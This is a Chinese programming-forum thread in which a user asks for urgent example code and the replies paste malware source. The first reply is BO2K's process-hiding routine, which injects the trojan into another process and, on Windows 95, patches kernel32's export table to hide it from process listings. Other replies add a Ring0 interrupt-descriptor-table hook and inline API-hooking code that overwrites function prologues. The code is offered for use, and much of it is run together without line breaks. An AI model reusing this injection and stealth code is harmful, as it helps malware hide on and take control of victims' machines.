来不及复习相关知识了...谢谢!最好能有示例代码或者相关链接,万分火急!谢谢!
解决方案 »
- MFC程序+SQL server2000数据库的管理系统。想将程序转移到另一台机子运行该如何做呢?
- 请问:如何让CListCtrl控件只显示第一行? 我这样做怎么不对啊
- 已知窗口的HWND句柄 如何判断它是一个编辑框?
- 一个关于析构函数的疑问,散分
- 用CRichEditCtrl实现text formatter的问题
- 在对话框种调用单文档问题!
- 已有CBitmap m_Bitmap,如何求对应的HDIB
- DirectShow 视频录制保存为avi文件
- [转]一个北大的中国学生对日本记者的回答
- VC 怎样实现圆形向外扩大的图象特技?
- 关于NT Server的问题
- 今天学习VC遇到一个非常有趣的问题!可以为一个菜单项目同时建立两个消息响应函数!
BOOL SpawnBO2KThread(const char *svProcess)
{
if(g_bIsWinNT) { //---------------------- WINDOWS NT PROCESS HIDE -------------------
// -------------------------------------------------------
// -- Process Hiding Code
// -- Note that there are several different ways to do
// -- what this code does. Both of the methods presented
// -- below were written specifically to avoid accessing
// -- the original BO2K image on disk.
// -- This way, the original BO2K disk file can be compressed
// -- with all of the plugin attachments inside, and
// -- the original executable can be moved around/deleted
// -- while the BO2K server still runs.
// Get another process and thread id
PROCESSINFO *ppie,*ppi=CreateProcListSnapshot(NULL);
DWORD dwThreadID, dwProcID;
for(ppie=ppi;ppie!=NULL;ppie=ppie->next) {
if(lstrcmpi(ppie->svApp,svProcess)==0) break;
}
if(ppie==NULL) return FALSE;
dwProcID=ppie->dwProcID;
dwThreadID=ppie->pThread->dwThreadID; // Get first thread (doesn't really matter)
DestroyProcListSnapshot(ppi);
// Make sure we aren't hopping into ourselves
if(GetCurrentProcessId()==dwProcID) return FALSE; // Open process to inject code into
HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcID);
if(hProc==NULL) {
DebugMessageBox(NULL,"Unable to open process","ERROR",MB_SETFOREGROUND);
return FALSE;
}
// Free space for BO2K (in case we are restarting)
pVirtualFreeEx(hProc,g_module,0,MEM_RELEASE);
// Allocate space for BO2K to fit in the process
DWORD dwSize=((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(g_module))->SizeOfImage;
char *pMem=(char *)pVirtualAllocEx(hProc,g_module,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(pMem==NULL) {
DebugMessageBox(NULL,"Couldn't VirtualAllocEx","Error",MB_SETFOREGROUND);
return FALSE;
}
// Lets copy the entire bo2k process into this space.
DWORD dwOldProt,dwNumBytes,i;
MEMORY_BASIC_INFORMATION mbi;
pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
while(mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) {
if(!(mbi.Protect & PAGE_GUARD)) {
for(i=0;i<mbi.RegionSize;i+=0x1000) {
pVirtualProtectEx(hProc,pMem+i,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProt);
WriteProcessMemory(hProc,pMem+i,pMem+i,0x1000,&dwNumBytes);
}
}
pMem+=mbi.RegionSize;
pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
}
// Create a remote thread in the other process
DWORD dwRmtThdID;
HANDLE hRmtThd=pCreateRemoteThread(hProc,NULL,0,EntryPoint,(LPVOID)g_module,0,&dwRmtThdID);
if(hRmtThd==NULL) {
DebugMessageBox(NULL,"Could create remote thread","ERROR",MB_SETFOREGROUND);
return FALSE;
}
CloseHandle(hProc);
return 0;
} else { //---------------------------------- WINDOWS 95 PROCESS HIDE -------------
// This one works differently because we don't necessarily have
// the functionality to do a 'CreateRemoteThread()'. And for
// various reasons, hijacking another thread and changing its
// context to do your bidding doens't really work. It's because
// the thread you hijack may be blocked on a mutex/semaphore/etc
// and won't resume execution to run your code until the blocking
// ID is signaled by the system. So, we have to just hack kernel32.dll
// to forget that our process exists :) // Start up PE Image Loader pRegisterServiceProcess(NULL,1);
// Get undocumented VxDCall procedure
HMODULE hModule=GetModuleHandle("kernel32.dll");
FARPROC VxDCall=GetDLLProcAddress(hModule,(LPCSTR)1);
// Check for kernel32.dll export table
PIMAGE_OPTIONAL_HEADER poh=(PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(hModule);
DWORD dwSize=poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
if(dwSize==0) return NULL; // Good, we have an export table. Lets get it.
PIMAGE_EXPORT_DIRECTORY ped;
ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// Change protection on kernel32.dll export table (make writable)
// (can't use "VirtualProtect")
DWORD dwFirstPage, dwNumPages;
dwFirstPage=((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))/4096;
dwNumPages=((( (((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))-(dwFirstPage*4096)+ped->NumberOfFunctions)) *4)+4095)/4096;
_asm {
push 020060000h // PC_WRITEABLE | PC_USER | PC_STATIC
push 0FFFFFFFFh // Keep all previous bits
push dword ptr [dwNumPages] // dword ptr [mbi+0Ch] # of pages
push dword ptr [dwFirstPage] // dword ptr [ped] page #
push 1000Dh // _PageModifyPermissions (win32_service_table #)
call dword ptr [VxDCall] // VxDCall0
}
// Fix kernel32.dll export table if I happened to fuck things
// up earlier (run bo2k, crash out, and restart) SpawnCleanup(); InitializeDLLLoad();
// Get shared memory
DWORD dwCodeSize=((DWORD)&EndOfHappyCode) - ((DWORD)&StartOfHappyCode);
LPVOID lpBase;
lpBase=VirtualAlloc((LPVOID)0x9CDC0000,dwCodeSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(lpBase!=(LPVOID)0x9CDC0000) lpBase=(LPVOID)0x9CDC0000; // Copy code into shared memory
memcpy(lpBase,(void *)(&StartOfHappyCode),dwCodeSize); // Store procedure addresses
DWORD dwOldAddress[6],dwCurPid;
dwCurPid=GetCurrentProcessId();
dwOldAddress[0]=(DWORD)GetDLLProcAddress(hModule,"Process32First");
dwOldAddress[1]=(DWORD)GetDLLProcAddress(hModule,"Process32Next");
dwOldAddress[2]=(DWORD)GetDLLProcAddress(hModule,"Thread32First");
dwOldAddress[3]=(DWORD)GetDLLProcAddress(hModule,"Thread32Next");
dwOldAddress[4]=(DWORD)GetDLLProcAddress(hModule,"Module32First");
dwOldAddress[5]=(DWORD)GetDLLProcAddress(hModule,"Module32Next"); // Modify code to correct addresses
DWORD i;
for(i=0;i<(dwCodeSize-4);i++) {
DWORD *dwPtr=(DWORD *)((BYTE *)lpBase+i);
if (*dwPtr==0x11111111) *dwPtr=dwCurPid;
else if(*dwPtr==0x22222222) *dwPtr=(DWORD)dwOldAddress[0];
else if(*dwPtr==0x33333333) *dwPtr=(DWORD)dwOldAddress[1];
else if(*dwPtr==0x44444444) *dwPtr=(DWORD)dwOldAddress[2];
else if(*dwPtr==0x55555555) *dwPtr=(DWORD)dwOldAddress[3];
else if(*dwPtr==0x66666666) *dwPtr=(DWORD)dwOldAddress[4];
else if(*dwPtr==0x77777777) *dwPtr=(DWORD)dwOldAddress[5];
} // Now we modify the export table to point to our replacement code SetDLLProcAddress(hModule,"Process32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32First)));
SetDLLProcAddress(hModule,"Process32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32Next)));
SetDLLProcAddress(hModule,"Thread32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32First)));
SetDLLProcAddress(hModule,"Thread32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32Next)));
SetDLLProcAddress(hModule,"Module32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32First)));
SetDLLProcAddress(hModule,"Module32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32Next))); // Done with dll_load
KillDLLLoad(); EntryPoint(GetModuleHandle(NULL));
SpawnCleanup(); } return TRUE;
}
不要问这是什么意思,我也不知道。
这代码来自bo2k中的process_hop.cpp
// 在Ring0状态下修改系统共享的代码
//
#define HookExceptionNo 5void Ring0WriteMemory(void * dst,void *src,int copySize)
{
BYTE IDTR_1[6];
DWORD OldExceptionHook;
__asm
{
JMP __Continue
Ring0Proc: PUSHAD
MOV AX,30h // 定义一个系统级别的数据段选择子
MOV BX,DS // 保存原DS与ES
MOV DX,ES
MOV DS,AX // 修改DS与ES
MOV ES,AX
REP MOVSB // 插入指令
MOV DS,BX // 复原DS与ES
MOV ES,DX POPAD
IRETD //返回
__Continue:
SIDT FWORD PTR IDTR_1 // 修改中断门
MOV EAX,DWORD PTR IDTR_1+02h
ADD EAX,HookExceptionNo*08h+04h
CLI
MOV ECX,DWORD PTR [EAX] // 保存原异常处理例程入口
MOV CX,WORD PTR [EAX-04h]
MOV OldExceptionHook,ECX
LEA EBX,Ring0Proc // 指定新入口
MOV WORD PTR [EAX-04h],BX
SHR EBX,10h
MOV WORD PTR[EAX+02h],BX
PUSHAD // 配置参数
MOV EDI,dst
MOV ESI,src
MOV ECX,copySize
INT HookExceptionNo // 激活Ring0代码
POPAD
MOV ECX,OldExceptionHook // 复原入口
MOV WORD PTR[EAX-04h],CX
SHR ECX,10h
MOV WORD PTR[EAX+02h],CX
STI
}
}
store - modify - restore .下面,我写出一个函数,它用来实现改写系统API函数代码的起始部分,插入JMP代码。当然,在这个动作之前,我们应该是已经保存了系统API函数代码的起始部分。
//
//Binary instructin
//
//Nop | 90
//Nop | 90
//Nop | 90
//Jmp XXXX | E9 XXXXXXXX
const ULONG _JMPOPCODE_ =(ULONG)0xE9909090L ;
const int _JMPCODESIZE=sizeof(SLongJmp);struct {
ULONG JmpOp ;
LPVOID Addr ;
} SLongJmp ;//FUNCTION:modify starting part of system func with a jmp
// code that jmpping to user_defined function
//ARGUMENT:userFunc,sysFunc
// .....
bool SetJmpCode(LPVOID userFunc, LPVOID sysFunc)
{
char* szTmp =(char*)sysFunc;DWORD dwPro ;
DWORD nWriten;MEMORY_BASIC_INFORMATION memInfo ;
memset ( &memInfo , 0 , sizeof(MEMORY_BASIC_INFORMATION));
dwPro = VirtualQuery((LPVOID)sysFunc ,
&memInfo ,sizeof(MEMORY_BASIC_INFORMATION) );if ( dwPro != sizeof(MEMORY_BASIC_INFORMATION) ){
return false ;
}DWORD dwOldProtect;
//set new memory protect flag
BOOL fok=VirtualProtect((LPVOID)sysFunc , _JMPCODESIZE ,
PAGE_EXECUTE_WRITECOPY , &dwOldProtect );
if (!fok){
//("Can not change the memory RW flag!");
return false ;
}SLongJmp Jmp2Me ;Jmp2Me.JmpOp = _JMPOPCODE_ ;
Jmp2Me.Addr = (LPVOID)
( (LONG)userFunc - (LONG)sysFunc - _JMPCODESIZE ) ;fok=WriteProcessMemory(GetCurrentProcess(),
(LPVOID)sysFunc,
(LPVOID)&Jmp2Me , sizeof(SLongJmp) ,&nWriten);
if(!fok){
//("Write failed!");
return false;
}DWORD dwOldProtect2;
VirtualProtect((LPVOID)sysFunc , sizeof(SLongJmp) , dwOldProtect ,
&dwOldProtect2 );return true;
}既然有改写的 ;当然应该有恢复的,下面的这个函数实现恢复函数的本来面目。
//
//
//
bool RestoreSysCode(LPVOID sysFunc,char* oldCode,int codeLen)
{
char* szTmp =(char*)sysFunc;DWORD dwPro ;
DWORD nWriten;
DWORD dwOldProtect;
DWORD dwOldProtect2;MEMORY_BASIC_INFORMATION memInfo ;
memset ( &memInfo , 0 , sizeof(MEMORY_BASIC_INFORMATION));dwPro = VirtualQuery(sysFunc , &memInfo ,
sizeof(MEMORY_BASIC_INFORMATION) );if ( dwPro != sizeof(MEMORY_BASIC_INFORMATION) ){
return FALSE ;
}BOOL fok=VirtualProtect(sysFunc ,
codeLen , PAGE_EXECUTE_WRITECOPY ,&dwOldProtect );if (! fok){
//("Can not change the memory RW flag!");
return false;
}fok=WriteProcessMemory(GetCurrentProcess(),
sysFunc,(LPVOID)oldCode, codeLen ,&nWriten);
if(!fok){
//("Write failed!");
return FALSE;
}VirtualProtect(sysFunc , codeLen , dwOldProtect , &dwOldProtect2 );
return true;
}改写和恢复都实现了,还差一个什么呢?当然是保存被改写部分的原始指令的函数了(我都开始认为我很自作聪明了)。下面,我以ExtTextOutA(..)为例说明:
typedef BOOL(WINAPI *__pExtTextOut)(HDC , int, int , UINT ,const RECT *,
LPCSTR , UINT , int*);
__pExtTextOut g_ExtTextOutA;
char FAR g_OldCodeExtTextOutA [_SAVELENGTH] ;bool SaveRawProbe()
{
HMODULE hModGDI = GetModuleHandle ( "GDI32");
if ( hModGDI == NULL ){
//("gdi32.dll exits?");
return false;
}g_ExtTextOutA = (__pExtTextOut)
GetProcAddress(hModGDI , "ExtTextOutA");
if (g_ExtTextOutA == NULL ){
//("Failed to get API entry !");
return false;
}
//
//save
//
memcpy(g_OldCodeExtTextOutA , g_ExtTextOutA ,_SAVELENGTH);
}
的帖子是我想要的!呵呵,谢谢大家,结帖